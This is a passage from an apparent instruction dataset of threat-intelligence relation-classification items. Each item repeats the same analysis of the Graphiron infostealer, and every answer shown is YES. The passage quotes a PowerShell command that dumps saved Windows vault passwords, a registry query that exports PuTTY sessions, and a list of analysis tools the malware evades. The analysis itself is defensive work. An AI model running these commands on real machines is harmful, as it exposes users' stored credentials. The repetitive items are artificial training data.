payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: MobaXTerm\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: PowerShell\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: C&C\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: MicrosoftOfficeDashboard.exe\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: C&C\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: BurpSuite\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: BurpSuiteFree\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: Charles\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: DumpIt\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: Fiddler\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: HTTPDebuggerSVC\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 